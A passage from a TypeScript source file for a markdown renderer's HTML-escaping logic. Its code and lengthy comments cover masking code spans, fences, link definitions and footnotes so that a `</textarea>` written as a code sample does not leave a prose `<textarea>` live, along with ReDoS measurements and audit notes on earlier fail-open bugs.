`escapeUnknownHtmlTags` protects only the\n * INTERSECTION of carve and mask, so a span this regex over-detects is escaped\n * instead of sheltered. See the CARVE DECISION note on `buildCloserHaystack`.\n *\n * Deliberately NARROWER than `createFenceTracker`'s CommonMark notion: this is\n * a flat regex over source TEXT with no line-state, so it only recognizes a\n * fence that is CLOSED by a same-marker run. That is the correct bias here —\n * an unclosed fence leaves its body UNPROTECTED, so a `<textarea>` inside it\n * gets escaped (visible as escaped text) rather than left live. Using the real\n * tracker would mean re-deriving character offsets from line state for a pass\n * that is explicitly not a security boundary; the narrow form fails safe.\n * `~{3,}` and the CommonMark 0..3-space indent ARE handled (they were not\n * before: a `~~~` block containing `<textarea>` rendered as escaped text).\n *\n * The MASK does NOT use this regex's fence alternative at all any more — see\n * `buildCloserHaystack`, which derives its code regions from the real\n * `createFenceTracker` (plus indented / blockquoted / commented code). Only the\n * INLINE-CODE region is derived separately, by `findInlineCodeRanges` below —\n * which is no longer a regex and no longer shares this one's length cap.\n */\nconst PROTECTED_SPAN_RE =\n  /^ {0,3}(`{3,}|~{3,})[\\s\\S]*?^ {0,3}\\1[^\\n]*$|(`+)[^\\n]{0,4096}?\\2/gm\n\n/**\n * The INLINE-CODE half of `PROTECTED_SPAN_RE`, on its own — the mask's only\n * non-line-state code region. Everything block-level (fences, indented code,\n * blockquoted code, HTML comments) is derived from line state instead, because\n * a flat regex cannot express CommonMark's closer rules: `PROTECTED_SPAN_RE`\n * ends a fenced span at the FIRST same-marker run even when that run carries an\n * info string (```` ```html ````), which CommonMark forbids on a closer — so the\n * span ended early and the real code content was left unmasked.\n *\n * NO LENGTH CAP, AND NO REGEX (round 16 — SECURITY). This used to be\n * `` /(`+)[^\\n]{0,4096}?\\1/g ``, sharing `PROTECTED_SPAN_RE`'s 4096-char\n * ReDoS bound. An inline span LONGER than the cap matched NEITHER regex, so the\n * mask simply skipped it — leaving a `</textarea>` written inside that span\n * VISIBLE in the closer haystack, `hasLaterCloser` true, the prose opener LIVE,\n * and parse5 swallowing the rest of the message as the textarea's value.\n * A clean cliff, padding length the only variable: span content ≤4094 chars ⇒\n * blanked, opener escaped, 0 live textareas; ≥4099 ⇒ closer visible, 1 live\n * textarea. That is a fail-OPEN in the security boundary, and it contradicts\n * this module's own contract that every mask approximation \"rounds towards\n * blanking\".\n *\n * THE BOUND COULD NOT SIMPLY BE DROPPED. `[^\\n]` confines backtracking to one\n * LINE, but a single line is not a small input — a chat message can be one.\n * MEASURED (round 16, this repo's vitest env, one line of nothing but\n * backticks — the pathological shape; figures from plain node are within 3%):\n *\n *   input        capped regex        uncapped regex      this linear scan\n *   50K chars    295 ms  (5.9 µs/c)    615 ms (12.3 µs/c)   0.69 ms (14 ns/c)\n *   200K chars  1220 ms  (6.1 µs/c)   9772 ms (48.9 µs/c)   0.42 ms  (2 ns/c)\n *   800K chars  5072 ms  (6.3 µs/c) 158263 ms (198 µs/c)          — (node)\n *\n * The capped regex is flat per char (linear, huge constant); the UNCAPPED one\n * is plainly QUADRATIC — 31x the capped cost at 800KB and still climbing. Every\n * other shape probed (lone tick + text, `` `` `` + text, one tick per 32 chars,\n * one tick per line) is ≈2-4 ns/char in BOTH regex spellings, so the blowup is\n * specific to long backtick runs — which an attacker controls. The cap was load\n * bearing; the REGEX is what had to go. A realistic 260KB backtick-dense\n * message (`Use `foo` and `bar` here.` × 10000) scans in 4.2 ms.\n *\n * `findInlineCodeRanges` is a LINEAR index scan that reproduces the old\n * regex's match semantics exactly (verified by differential fuzz against the\n * uncapped regex) with no backtracking and no cap: per line it collects the\n * backtick RUNS, then for each opener run of length `n` picks the largest\n * closer length `k ≤ n` that occurs later on the line — either inside the same\n * run (needs `n ≥ 2k`, mirroring the regex giving back backticks from a greedy\n * `` (`+) ``) or at the earliest following run of length ≥ k — and takes the\n * EARLIEST such position (the lazy quantifier). The forward walk is amortized\n * O(1) per run because the scan cursor jumps past every run it skipped.\n *\n * `PROTECTED_SPAN_RE` (the CARVE) KEEPS its cap, deliberately: the two\n * consumers round in OPPOSITE directions, see the note on\n * `escapeLeftoverTagStarts`. In the carve, \"not known to be code\" means ESCAPE,\n * so an over-cap span there costs a code sample rendered as escaped text.\n */\nconst BACKTICK_CODE = 0x60\n\n/**\n * PARAGRAPH SEGMENTS, NOT LINES (round 18 — SECURITY). A CommonMark code span\n * CROSSES LINE BREAKS: `` `foo\\n</textarea>` `` is one `inlineCode` node, so\n * that `</textarea>` is a code sample and not a closer — yet this scan (and\n * `PROTECTED_SPAN_RE`, whose body class is `[^\\n]`) was strictly PER LINE, so\n * the mask never saw the span, the closer stayed visible in the haystack,\n * `hasLaterCloser` returned true, and a prose `<textarea>` above it stayed LIVE\n * (`escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL; the renderer\n * emitted `<code>foo </textarea></code>` — proving the closer is a code sample\n * — beside a live textarea swallowing the prose). This is the shape that is not\n * a CONTAINER at all, so no container sweep could ever have reached it.\n *\n * A code span CANNOT cross a paragraph break, so the scan unit is a maximal run\n * of non-blank lines. Blank lines still terminate a segment, which keeps the\n * fail-CLOSED direction (an unterminated opener consumes at most its own\n * paragraph, never the rest of the document) and keeps the bound linear — the\n * `suffMax` / cursor structure is unchanged, `\\n` is simply an ordinary\n * character inside a segment.\n *\n * `PROTECTED_SPAN_RE` (the CARVE) is deliberately left per-line: it rounds the\n * other way, so at worst a multi-line code sample renders as escaped text.\n */\nfunction findInlineCodeRanges(source: string): Array<[number, number]> {\n  const ranges: Array<[number, number]> = []\n  const len = source.length\n  let pos = 0\n  while (pos <= len) {\n    // Grow one PARAGRAPH SEGMENT: the maximal run of non-blank lines starting\n    // at or after `pos`. `segStart`/`segEnd` bound it; blank lines never enter.\n    let segStart = -1\n    let segEnd = -1\n    while (pos <= len) {\n      let end = source.indexOf('\\n', pos)\n      if (end === -1) end = len\n      const blank = isBlankLine(source.slice(pos, end))\n      if (blank && segStart !== -1) break\n      if (!blank) {\n        if (segStart === -1) segStart = pos\n        segEnd = end\n      }\n      pos = end === len ? len + 1 : end + 1\n    }\n    if (segStart === -1) break\n    const lineStart = segStart\n    const lineEnd = segEnd\n    const runStart: number[] = []\n    const runLen: number[] = []\n    for (let i = lineStart; i < lineEnd; i++) {\n      if (source.charCodeAt(i) !== BACKTICK_CODE) continue\n      let j = i + 1\n      while (j < lineEnd && source.charCodeAt(j) === BACKTICK_CODE) j++\n      runStart.push(i)\n      runLen.push(j - i)\n      i = j - 1\n    }\n    const n = runStart.length\n    if (n > 0) {\n      // suffMax[t] = longest run at or after t; 0 past the end.\n      const suffMax = new Array<number>(n + 1).fill(0)\n      for (let t = n - 1; t >= 0; t--) suffMax[t] = Math.max(runLen[t], suffMax[t + 1])\n      let cursor = lineStart\n      let idx = 0\n      while (idx < n) {\n        const runEnd = runStart[idx] + runLen[idx]\n        // The scan resumes at the END of the previous match, which can land\n        // MID-RUN — exactly as the global regex's `lastIndex` did. The\n        // REMAINDER of the run is then an opener in its own right (`` `a`` ``\n        // matches twice), so clamp rather than skip.\n        if (runEnd <= cursor) {\n          idx++\n          continue\n        }\n        const p = Math.max(runStart[idx], cursor)\n        const openLen = runEnd - p\n        // Largest closer length reachable via a LATER run, and via THIS one.\n        const kLater = Math.min(openLen, suffMax[idx + 1])\n        const kSame = openLen >> 1\n        const k = Math.max(kLater, kSame)\n        // No match is possible only when this is the last run and it is a\n        // single backtick — every longer run closes on itself, so advancing by\n        // one character (what the regex does) cannot find one either.\n        if (k < 1) {\n          cursor = runEnd\n          idx++\n          continue\n        }\n        let q = kSame >= k ? p + k : -1\n        if (q === -1)\n          for (let t = idx + 1; t < n; t++)\n            if (runLen[t] >= k) {\n              q = runStart[t]\n              break\n            }\n        ranges.push([p, q + k])\n        cursor = q + k\n      }\n    }\n  }\n  return ranges\n}\n\n/** Exported for the differential fuzz against the retired regex. */\nexport const __findInlineCodeRangesForTest = findInlineCodeRanges\n\n/**\n * ASCII-ONLY case fold. `String.prototype.toLowerCase()` is NOT\n * length-preserving: U+0130 (Turkish dotted capital `İ`) expands to `i` +\n * U+0307 (1 code unit → 2). It is the only BMP character that does so, and it\n * is ordinary Turkish prose (`İstanbul`, `İzmir`) — so a message with enough\n * of them ahead of a `<textarea>` shifted the whole haystack later than the\n * `segmentOffset + index + match.length` the caller computes from the ORIGINAL\n * text, `hasLaterCloser` began scanning in a window strictly BEFORE the\n * opener, matched an already-consumed `</textarea>`, and left the opener LIVE\n * — reopening the RAWTEXT swallow the mask exists to close.\n *\n * Tag names are ASCII by definition (`TAG_LIKE_REGEX` only matches\n * `[a-zA-Z][a-zA-Z0-9-]*`), so folding ASCII alone loses nothing.\n * `buildCloserHaystack(src).length === src.length` is asserted over the whole\n * fixture corpus in the parity test — that invariant is the actual guard.\n */\nfunction foldAsciiCase(text: string): string {\n  return text.replace(/[A-Z]/g, (c) => String.fromCharCode(c.charCodeAt(0) + 32))\n}\n\n/**\n * ---------------------------------------------------------------------------\n * MASK-ONLY code-region blanking (never the carve)\n * ---------------------------------------------------------------------------\n * All of the blanking passes below share one contract:\n *\n *  - they SCAN `source` (the folded but otherwise unmasked copy) and APPLY the\n *    resulting ranges to `masked`. That split is LOAD-BEARING: the inline-code\n *    pass chews a pair of backticks off an unclosed ```` ``` ```` opener (the\n *    opener run gives back backticks until a single one matches the next one as\n *    its closer), so a fence scan over the masked copy sees no fence at all. Both\n *    strings have identical indices, so offsets transfer verbatim.\n *    `blankComments` is the ONE deliberate exception (it is fed the masked\n *    copy, and runs last) — see its docblock for why the reasoning inverts.\n *  - they are LENGTH-PRESERVING (every non-newline char in a range becomes a\n *    space), because `escapeOutsideFences` indexes the mask with offsets it\n *    computed from the ORIGINAL text.\n *  - they fail CLOSED. Blanking too much can only make `hasLaterCloser` return\n *    false, i.e. ESCAPE a RAWTEXT opener that could have stayed live; blanking\n *    too little leaves a prose `<textarea>` live and lets parse5 swallow the\n *    rest of the message. Every approximation here therefore rounds towards\n *    blanking.\n *\n * ---------------------------------------------------------------------------\n * THE SAFETY CLAIM IS LINE COVERAGE, NOT PASS COMPOSITION (round 18)\n * ---------------------------------------------------------------------------\n * Round 17 claimed this class was \"closed by proof\" and offered a PASS CALL\n * MATRIX — which pass invokes which — as the proof. That was the wrong\n * property, and round 18 found the eighth instance anyway. The matrix shows the\n * passes COMPOSE SYMMETRICALLY; it says nothing about whether every line of the\n * document is actually EXAMINED. Round 18's defect lived inside a pass that the\n * matrix lists as present and symmetric (`blankListItemCode` calls and is called\n * by `blankQuotedCode`): the pass simply never put the LIST-MARKER LINE into any\n * run, so that one line was examined by nobody. A symmetric call graph over an\n * incomplete line set is still incomplete. Do not restate the matrix as the\n * safety argument.\n *\n * ---------------------------------------------------------------------------\n * THE TABLE IS THE AUDITABLE ARTIFACT — AND TWO OF ITS ENTRIES WERE FALSE\n * ---------------------------------------------------------------------------\n * Round 19 audited the table below rather than the code, and found two entries\n * literally untrue. Both were LOAD-BEARING: the `blankListItemCode` entry\n * justified a `top >= 4` gate that hid three live instances (narrow `- ` / `1. `\n * marker lines), and the `blankLinkDefinitions` entry's \"absorbs … ONE list\n * marker\" justified never re-cutting nested markers. A table entry that is not\n * LITERALLY TRUE is worse than no table: it converts an unexamined line into a\n * documented decision. When you change a pass, restate what it NOW claims and\n * re-derive every other entry from the code — do not copy the previous wording\n * forward.\n *\n * THE INVARIANT THAT ACTUALLY MATTERS:\n *\n *   For every line L of the document and every block-level construct that can\n *   OPEN on L, some pass must examine L at L's own CONTENT COLUMN — the column\n *   at which CommonMark itself would begin parsing L, after every enclosing\n *   container prefix (blockquote markers, list-item content columns) has been\n *   consumed. \"Examined\" means the line is a member of that pass's scanned run,\n *   cut at that column; being merely SKIPPED OVER while state is updated does\n *   not count. Constructs that are not line-anchored at all (inline code spans,\n *   HTML comments, link reference definitions, inline link/image payloads) are\n *   covered instead by a CONTAINER-AGNOSTIC pass that runs once over the whole\n *   document.\n *\n *   AND: every region that CommonMark turns into an ATTRIBUTE OR AN IDENTIFIER\n *   rather than document text is a shelter of the same kind, whether or not it\n *   is line-anchored. A reference definition's destination/title and an INLINE\n *   link's destination/title are the same thing to remark — both become\n *   href/title and never appear as HTML — so both need a pass. Round 19 found\n *   the inline half entirely uncovered; it then implemented that generalization\n *   for only the PARENTHESISED half of the constructs the generalization names,\n *   and round 20 found the BRACKETED half — an image's alt, a reference label, a\n *   footnote label — uncovered in exactly the same way.\n *\n *   So the checklist for a newly supported construct is: which of its text does\n *   remark consume into an attribute or an identifier — INCLUDING bracket text\n *   under `!` and reference/footnote labels — rather than emit as document HTML?\n *   Every such region needs a pass. The complement matters just as much: text\n *   remark DOES emit (an inline link's `[…]`, a bare shortcut reference's\n *   `[…]`) must stay VISIBLE, because a closer written there is real.\n *\n *   AND: a length cap or a parse failure inside any of these passes must BLANK,\n *   never SKIP. `-1`-on-cap is the fail-OPEN shape `ba4a526b` closed for\n *   over-cap inline code spans and round 20 found reintroduced in\n *   `parseInlineLinkPayload` and the link-definition regexes. A cap is a\n *   BLANKING BOUNDARY: blank up to it. Only a genuinely unparseable SHAPE may\n *   decline, and only because remark will not read it as a link either.\n *\n *   THAT RULE WAS STATED AND NOT STRUCTURALLY ENFORCED, so every new parser\n *   re-litigated it and sometimes lost: `ba4a526b` (over-cap code spans), round\n *   20 (payload + definition CAPS), round 21 (the definition SHAPES the same\n *   round left behind). It is now enforced by SHAPE rather than by discipline —\n *   the container-agnostic passes have exactly TWO stages, and the stage\n *   decides the fail direction:\n *\n *     RECOGNITION — \"is this the construct at all?\" MAY decline, and must,\n *     because every recognition decline is a spelling CommonMark ALSO refuses:\n *     remark emits the text as HTML, so a closer written in it is REAL and\n *     blanking it would over-escape a genuine element.\n *\n *     CONSUMPTION — \"the construct was recognized\" may NEVER decline. Every\n *     give-up routes through ONE channel per pass, whose DEFAULT is blanking to\n *     the construct's CommonMark bound (the next blank line):\n *     `blankInlineLinkPayloads` → `paragraphEnd`, `blankLinkDefinitions` →\n *     `blankLinesToParagraphBound`. A pass cannot \"forget\" to blank, because\n *     the give-up path IS the blanking path; there is no `return -1` reachable\n *     after commitment.\n *\n *   EXIT-PATH TABLE — every exit of the FOUR passes that can decline,\n *   classified. Keep it accurate when you touch them; an unclassified exit is\n *   the next instance.\n *\n *   THE RULE THAT PRODUCED THIS ROUND: A NEW PASS MUST LAND IN BOTH TABLES —\n *   this one and \"WHICH LINES EACH PASS CLAIMS\" below — IN THE SAME COMMIT.\n *   Round 22 added `blankUnreferencedFootnotes` to the pipeline with an entry in\n *   NEITHER, and it is the pass that shipped a live fail-open (round 23: PASS 1\n *   counted PHANTOM references, so a definition holding a `</textarea>` stayed\n *   in the haystack and the opener above it stayed live, in ten spellings).\n *   These two tables have caught six literally-false or missing claims across\n *   six rounds; they are the instrument, and the round that skipped them is the\n *   round that regressed. Filling them in is not documentation, it is the audit.\n *\n *   blankLinkDefinitions\n *     R  no `[` on the line / `LINK_DEF_OPEN_RE` fails  → not a definition line.\n *     R  `\\[^` (GFM footnote), REFERENCED                → BLOCK-parsed body, may\n *                                                        hold real HTML (r19).\n *                                                        Only when the label is\n *                                                        REFERENCED: r22 found\n *                                                        the decline fail-OPEN\n *                                                        for the unreferenced\n *                                                        case, which\n *                                                        `blankUnreferencedFootnotes`\n *                                                        now blanks whole.\n *     R  `findLabelClose`: `]` not followed by `:`      → shortcut reference or\n *                                                        plain text; remark\n *                                                        EMITS it (the same\n *                                                        exclusion\n *                                                        `blankBracketLabels`\n *                                                        documents).\n *     R  `findLabelClose`: unescaped `[` in the label   → CommonMark rejects the\n *                                                        label → paragraph text.\n *     R  `findLabelClose`: paragraph bound, no `]:`     → an ordinary\n *                                                        `[`-leading prose\n *                                                        paragraph.\n *     R  `parseDestOnLine` -1 (angle dest unclosed)     → no line ending allowed\n *                                                        in `<…>`, and a bare\n *                                                        dest may not start with\n *                                                        `<` → not a definition.\n *     R  `parseDefTail`/`parseTitleTail` `decline`      → trailing content, or a\n *                                                        title neither\n *                                                        space-separated nor\n *                                                        delimiter-opened →\n *                                                        remark reads a\n *                                                        PARAGRAPH. On the\n *                                                        OPENER line this\n *                                                        unwinds the WHOLE\n *                                                        construct (nothing is\n *                                                        blanked). On a\n *                                                        CONTINUATION line it\n *                                                        splits in TWO, and the\n *                                                        old single sentence\n *                                                        was true of only one\n *                                                        (r22):\n *                                                          · after `needTitle`\n *                                                            the definition WAS\n *                                                            already complete\n *                                                            (a title is\n *                                                            optional), so\n *                                                            stopping is exact;\n *                                                          · after `needDest`\n *                                                            it was NOT — with\n *                                                            no parseable\n *                                                            destination remark\n *                                                            reads the whole run\n *                                                            as a PARAGRAPH —\n *                                                            and lines\n *                                                            `i..close.line`\n *                                                            are ALREADY blanked\n *                                                            by the committed\n *                                                            loop. So this exit\n *                                                            OVER-blanks the\n *                                                            label lines; safe\n *                                                            because\n *                                                            over-blanking only\n *                                                            hides closers.\n *     C  `openTitle` (title opens, never closes)        → BLANK to the paragraph\n *                                                        bound.\n *     C  end of `lines` / blank line while continuing   → everything up to the\n *                                                        bound is already\n *                                                        blanked.\n *     (no length cap exists in this pass at all)\n *\n *   blankInlineLinkPayloads / parseInlineLinkPayload\n *     C  `q >= limit`, input REMAINS past the cap       → returns `limit`, and\n *                                                        the caller widens to\n *                                                        `paragraphEnd` (r20).\n *     R  `q >= limit` because the INPUT IS EXHAUSTED    → returns -1. Nothing\n *                                                        closes the payload and\n *                                                        nothing will, so remark\n *                                                        reads text too. Split\n *                                                        out in r22: it used to\n *                                                        share the cap exit, so\n *                                                        the ordinary STREAMING\n *                                                        tail `see [a](/x`\n *                                                        blanked its paragraph\n *                                                        and flickered.\n *     R  angle dest not closed before `\\n`/end          → CommonMark forbids a\n *                                                        line ending in `<…>`.\n *     R  bare dest with unbalanced `(`                  → not a link → text.\n *     R  no `)` where the payload must end              → not a link → text.\n *     -  `s[q] !== close` after the title loop          → UNREACHABLE: the loop\n *                                                        exits only on the\n *                                                        closer or on `q >=\n *                                                        limit`, and the latter\n *                                                        returns `overflow`\n *                                                        first.\n *\n *   blankUnreferencedFootnotes  (round 23 — the entry round 22 never wrote)\n *     R  `masked.indexOf('[^') === -1` (whole-pass skip) → the document contains\n *                                                        no footnote SPELLING at\n *                                                        all, so there is nothing\n *                                                        to blank. Exact.\n *     R  `FOOTNOTE_DEF_OPEN_RE` fails / no `:` after the\n *        label / `footnoteLabelEnd` -1 on the OPENER     → not a definition line;\n *                                                        remark reads a paragraph\n *                                                        and any closer on it is\n *                                                        REAL.\n *     R  label IS referenced (in the REF-MASK)           → round 19's case:\n *                                                        remark keeps the\n *                                                        definition, its body is\n *                                                        BLOCK-parsed and may\n *                                                        hold real HTML.\n *     C  `footnoteLabelEnd === -1` mid-line → `break`    → abandons the REST OF\n *                                                        THE LINE's references.\n *                                                        Fail-CLOSED (fewer\n *                                                        references ⇒ more\n *                                                        definitions blanked),\n *                                                        but note the shape it\n *                                                        gives up on: a line\n *                                                        `[^x[ … [^f]` silently\n *                                                        stops counting at the\n *                                                        voided label, so a REAL\n *                                                        `[^f]` after it can be\n *                                                        missed and its\n *                                                        definition over-blanked\n *                                                        into escaped source\n *                                                        (cosmetic).\n *     C  body walk `break` on a SECOND definition line   → the body ended; the\n *                                                        neighbour is blanked (or\n *                                                        not) on its OWN merits.\n *     C  body walk `break` on a de-indented line after a\n *        blank one                                       → GFM's own body bound.\n *     (both body `break`s only SHORTEN the blanked range, i.e. leave MORE\n *      haystack visible — the same direction as declining the definition\n *      entirely, which is round 19's shipped behaviour, never a new hole)\n *     (no length cap exists in this pass at all)\n *\n *   blankBracketLabels\n *     R  no `[` in the document                         → no bracket construct.\n *     R  `]` with an empty stack                        → closes nothing.\n *     -  no length cap and no parse that can fail: the walk is total over the\n *        document and crosses newlines, so it has NO give-up path to classify.\n *\n * WHICH LINES EACH PASS CLAIMS, AND AT WHAT COLUMN:\n *\n *   findInlineCodeRanges  — EVERY line, at column 0 of its PARAGRAPH SEGMENT\n *     (a maximal run of non-blank lines). Container-agnostic: backtick runs are\n *     matched with no column or prefix anchoring, so a `> ` / indent prefix is\n *     ordinary text between ticks. Spans CROSS line breaks (round 18) and stop\n *     at a paragraph break, which is exactly CommonMark's bound.\n *   blankFencedRegions    — every line of the run it is GIVEN, at that run's\n *     column (the caller cut it). Absolute-column-limited by `FENCE_RE`'s 0..3\n *     indent cap, which is WHY the container passes must re-cut and re-run it.\n *   blankIndentedCode     — every line of the run it is given, at that run's\n *     column, with a list-content-column stack for the +4 threshold.\n *   blankLinkDefinitions  — EVERY line, in TWO dimensions that must both be\n *     stated, because round 21 found the entry true of the first and silently\n *     false of the second.\n *       COLUMN: at column 0 AND at the column its own prefix reaches.\n *       `LINK_DEF_CONTAINER_PREFIX` absorbs a blockquote run and AT MOST ONE\n *       list marker, so the top-level call covers a definition at nesting depth\n *       0 or 1 directly. DEEPER nesting (`- - [a]: …`) is NOT covered by the\n *       top-level call — round 19's corrected entry — and is reached only\n *       because both container passes re-run this pass on their stripped runs,\n *       and `blankListItemCode` re-cuts nested markers by recursing into\n *       ITSELF. That re-cut is load-bearing, not redundancy.\n *       SHAPE: what the label, destination and title may CONTAIN — the\n *       dimension the old wording never mentioned, so five ESCAPED-delimiter\n *       spellings and five MULTI-LINE spellings were \"covered\" by an entry that\n *       had not examined them. The pass is now a CHARACTER PARSER, not a line\n *       regex: `\\` + one character is consumed as a unit EVERYWHERE (so a\n *       title may hold `\\\"` / `\\'` / `\\)` and a label `\\]`), the LABEL may\n *       span lines up to the paragraph bound, and an unterminated TITLE is\n *       blanked to that same bound. There is no length cap of any kind. What it\n *       does NOT claim, and why, is on the exits themselves (see below).\n *   blankUnreferencedFootnotes — EVERY line, container-agnostic and at ANY\n *     depth: `FOOTNOTE_DEF_OPEN_RE`'s own prefix absorbs a blockquote run plus\n *     ANY NUMBER of list markers, so unlike `blankLinkDefinitions` this pass\n *     needs no container re-cut — and could not use one, because its reference\n *     set is document-GLOBAL and a stripped run cannot see it. Exactly ONE\n *     top-level call. No length cap of any kind.\n *     IT READS TWO SOURCES, and that split is the security-load-bearing part\n *     (round 23):\n *       DEFINITIONS from the current MASK — a definition an earlier pass hid is\n *       not blanked, which leaves it in the haystack (round 19's direction).\n *       REFERENCES from a SEPARATE, MORE-BLANKED copy (`footnoteReferenceMask`),\n *       because every region remark consumes into an ATTRIBUTE or drops — image\n *       alt, full-reference label, inline link title / angle destination, HTML\n *       comment, raw HTML block, inline tag attribute, autolink — yields a\n *       PHANTOM reference, and a phantom keeps a dropped definition (and its\n *       `</textarea>`) in the haystack: fail-OPEN, reproduced live in ten\n *       spellings. Counting FEWER references only blanks MORE, so that copy may\n *       over-blank freely.\n *     CLAIMED BODY: the label line, its lazy paragraph continuations, and\n *     further blocks indented >= 4 columns past the blockquote run.\n *   blankInlineLinkPayloads — EVERY inline link/image payload in the document,\n *     container-agnostic: the scan is anchored on the `](` bigram with no column\n *     or prefix anchoring, so a container prefix is ordinary text ahead of it.\n *     Claims ONLY the `(…)` payload — never the `[…]` text of an INLINE LINK,\n *     which is inline-parsed and reaches the document as HTML. Its cap\n *     (`INLINE_LINK_PAYLOAD_MAX`) BLANKS THROUGH rather than declining; only an\n *     unparseable SHAPE declines (round 20).\n *   blankBracketLabels     — EVERY `[…]` group in the document whose text remark\n *     consumes into an attribute or an identifier: an image's alt (`[` preceded\n *     by `!`), the second group of a `][` adjacency (a full reference's label),\n *     the first group of a `][]` adjacency (a collapsed reference's identifier),\n *     and a footnote label (`[^…]`, reference AND definition). Container-\n *     agnostic: one left-to-right bracket walk, no column or prefix anchoring.\n *     Claims NEITHER an inline link's `[…]` NOR a bare shortcut reference's —\n *     remark emits both as HTML, so a closer there is real (round 20). The\n *     `][` / `][]` adjacency is compared PER NESTING DEPTH (round 23 — a single\n *     `prev` let a nested group clobber the sibling it had to be compared with,\n *     so `[txt][[^f]]`'s label was never claimed). Its ONE option,\n *     `{ footnoteLabels: false }`, is for `footnoteReferenceMask` only.\n *   blankComments         — EVERY line, container-agnostic: `HTML_COMMENT_RE` is\n *     `[\\s\\S]`-based and anchored nowhere, so a comment matches straight through\n *     any prefix. Runs LAST, over the masked copy (see its docblock).\n *   blankQuotedCode       — supplies runs cut at the BLOCKQUOTE content column,\n *     for every maximal run of quote-prefixed lines, INCLUDING the line that\n *     opens the quote (the prefix regex matches it like any other).\n *   blankListItemCode     — supplies runs cut at the LIST-ITEM content column\n *     for EVERY line inside a list item at ANY content column >= 1 (round 19 —\n *     the gate used to be `>= 4` on the claim that \"below column 4 the top-level\n *     passes already cover the line at the right column\", which is true of a\n *     CONTINUATION line and FALSE of the MARKER line: at content column 2 or 3\n *     the marker line is examined only at column 0, where the leading `- ` /\n *     `1. ` is not whitespace and `FENCE_RE` cannot match). Includes THE MARKER\n *     LINE ITSELF (round 18) and re-cuts NESTED markers by recursing into itself\n *     (round 19), since `LIST_MARKER_RE` matches only the FIRST marker on a\n *     line.\n *\n * The two container passes call each other AND `blankListItemCode` calls itself,\n * and all of them call the fence + indented + link-definition passes, so a line\n * nested in any order and any DEPTH of containers is eventually cut to its own\n * content column. That composition is a MEANS to the invariant above, not a\n * substitute for it. When adding a pass or a container, the question to answer\n * is \"which lines does it claim, at which column, and is any line now claimed by\n * nobody\" — not \"does the call graph look symmetric\".\n */\n\n/**\n * Length-preserving blank of MANY ranges in one pass. Ranges must be\n * non-overlapping and ascending.\n *\n * THE ONLY BLANKING PRIMITIVE (round 18 — performance). There used to be a\n * single-range `blankRange` beside it, and `blankIndentedCode` /\n * `blankFencedRegions` / `blankComments` each folded the document through it\n * ONCE PER LINE OR REGION. Every call rebuilds the entire string, so masking an\n * all-indented-code document was QUADRATIC — measured on\n * `__buildCloserHaystackForTest`: 37 KB → 6 ms, 151 KB → 178 ms, 389 KB →\n * 1127 ms, 989 KB → 3753 ms (2.5x input ⇒ ~6x time), and the two container\n * passes re-run both over every nested run, multiplying the constant. A ~400 KB\n * KB article or release-notes page — all of which go through this renderer —\n * blocked the main thread for over a second. Every pass now COLLECTS ranges and\n * applies them here exactly once, which is what the inline pass already did.\n * After, same four sizes and same harness: 2 ms / 5 ms / 12 ms / 28 ms — dead\n * linear at ~28 ns/char, a 134x improvement at 989 KB.\n *\n * Do not reintroduce a per-range helper; a pass that blanks in a loop is the\n * regression.\n */\nfunction blankRanges(masked: string, ranges: Array<[number, number]>): string {\n  if (ranges.length === 0) return masked\n  const parts: string[] = []\n  let cursor = 0\n  for (const [from, to] of ranges) {\n    parts.push(masked.slice(cursor, from), masked.slice(from, to).replace(/[^\\n]/g, ' '))\n    cursor = to\n  }\n  parts.push(masked.slice(cursor))\n  return parts.join('')\n}\n\n/** One scannable line: where it starts, and (for container-nested scans) where\n *  its scanned content starts once the container prefix is stripped. */\ninterface MaskLine {\n  start: number\n  contentStart: number\n  content: string\n}\n\nfunction toMaskLines(source: string): MaskLine[] {\n  const out: MaskLine[] = []\n  let offset = 0\n  for (const line of source.split('\\n')) {\n    out.push({ start: offset, contentStart: offset, content: line })\n    offset += line.length + 1\n  }\n  return out\n}\n\n/**\n * Blank every FENCED region in a line run, using the real CommonMark fence\n * state machine (`createFenceTracker`) rather than a regex.\n *\n * This replaces the old `blankUnclosedFence` + `PROTECTED_SPAN_RE` fence\n * alternative and subsumes both:\n *  - a CLOSED fence is blanked from its opener line through its closer line;\n *  - an EOF-terminated fence is blanked from its opener line to the end of the\n *    run (the case `blankUnclosedFence` covered);\n *  - a would-be closer carrying an INFO STRING (```` ```html ````) no longer\n *    ends the region, because the tracker applies CommonMark's rule that a\n *    closer may not have one. `PROTECTED_SPAN_RE` did end the span there, so\n *    ` ```js … ```html\\n</textarea>\\n``` ` left the `</textarea>` unmasked and\n *    a prose opener above it stayed live.\n */\nfunction blankFencedRegions(masked: string, lines: MaskLine[]): string {\n  const fences = createFenceTracker()\n  const ranges: Array<[number, number]> = []\n  let openStart: number | null = null\n  let lastEnd = 0\n  for (const line of lines) {\n    const role = fences.push(line.content)\n    lastEnd = line.contentStart + line.content.length\n    if (role === 'open') openStart = line.start\n    else if (role === 'close' && openStart !== null) {\n      ranges.push([openStart, lastEnd])\n      openStart = null\n    }\n  }\n  if (openStart !== null) ranges.push([openStart, lastEnd])\n  return blankRanges(masked, ranges)\n}\n\n/**\n * Blank INDENTED code blocks. A `</textarea>` written as an indented code\n * sample is code, not a closer — but `FENCE_RE` deliberately caps fence indent\n * at 3 spaces, so the tracker never sees these lines.\n *\n * The threshold is LIST-AWARE, not a flat 4 columns. CommonMark measures\n * indented code from the enclosing list item's CONTENT column, so under\n * `1.  ` (content column 4) a 4-space line is a paragraph continuation, not\n * code — and `\"1.  Here is a form:\\n\\n    <textarea>\\n    </textarea>\\n\"` had\n * its closer blanked, `hasLaterCloser` returned false, and a perfectly real\n * element got escaped. A numbered list containing markup is a very ordinary\n * chat answer, so \"fail closed\" is not a good enough excuse here.\n *\n * The walk mirrors `blankQuotedCode`'s line-state approach: a stack of open\n * list content columns, `code` meaning `indent >= top + 4`. Blank lines keep\n * the state (a list item survives them); a line indented below the top of the\n * stack pops it. A line indented past the code threshold is treated as code\n * BEFORE it is considered as a list marker.\n *\n * SCAN-SOURCE INVERSION (same reasoning as `blankComments`, and NOT the shared\n * contract): the caller must pass lines re-derived from the CURRENT mask, not\n * from `folded`. Fence content is already blanked by `blankFencedRegions`, but\n * that only holds for WRITING the mask — a walk over `folded` still SEES those\n * lines, so a `- x` written inside a fence pushed a content column of 2 and a\n * later top-level column-4 indented-code line then failed `indent >= top + 4`,\n * went unblanked, and its code-sample `</textarea>` kept a prose opener LIVE.\n * Over the masked copy those lines are all spaces, hit the `isBlankLine`\n * continue, preserve list state and push no 